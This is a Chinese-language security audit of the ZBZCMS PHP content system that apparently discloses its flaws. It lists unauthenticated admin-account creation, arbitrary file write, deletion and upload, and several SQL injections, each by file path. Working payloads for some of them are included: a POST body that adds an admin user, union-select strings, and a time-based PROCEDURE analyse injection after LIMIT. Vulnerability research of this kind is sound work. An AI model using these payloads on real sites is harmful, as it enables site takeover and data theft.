0x0前言

下载地址 http://zbzcms.com/
环境 php7.3.4,Nodepad++,Phpstudy

0x1任意管理员添加

cms\cms\admin\run_ajax.php
可对任意表添加任意数据

我们先看看admin表的结构

构造payload添加一个test账号密码也是test

GetData
       table=admin
PostData
    guanliyuan=test&mima=fb469d7ef430b0baf0cab6c436e70375&dengji=1&chuangjianshijian=1

查看数据库,成功添加

第二处

cms\cms\admin\run_ajax.php

构造payload

成功添加

0x2任意文件写入

cms\cms\admin\run_ajax.php

未做任何鉴权,也无过滤直接写入

构造payload:

访问

0x03 任意文件删除

cms\cms\include\up.php

传入要删除的路径即可,无做任何限制

GetData
    run=del
PostData
    url=FilePath

0x04Sql注入

第一处

cms/api/caiji.php

当$run等于shenhe时,会从get接收lanmu的值带入数据库执行

$tid=$_GET['lanmu'];
$up_arr=array('fabushijian',time());
$ids=$c_sql->select("select id from art where (fabushijian=1 and tid={$tid}) limit 1");

run的值是从get接收

此处可以使用布尔或延时注入,这里使用延时payload

第二处

cms\common\php\ajax.php

接收get.id的值直接带入执行

此处有回显可使用联合注入

-1 union select 1,2,3,user(),5,6,7,8,9

第三处

cms\common\php\ajax.php

同上一个点一样,接收get.id参数

因为他只查询了一个字段联合注入只需要构造一个字段即可

-1 union select user()

第四处

cms\cms\include\make.php

此处的注入在limit之后且存在order利用方式条件受限

此方法适用于 5.0.0< MySQL <5.6.6版本,在limit语句后面的注入,使用 PROCEDURE函数进行注入

limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

可参考
https://www.jianshu.com/p/6c1420a7a7d9

0x05任意文件上传

cms\cms\admin\ajax.php

构造文件上传包,上传文件参数任意

第二处

cms\cms\include\up.php

未做任何限制,且路径文件名都可控

构造上传

第三处

cms\cms\zbzedit\php\zbz.php

直接构造上传包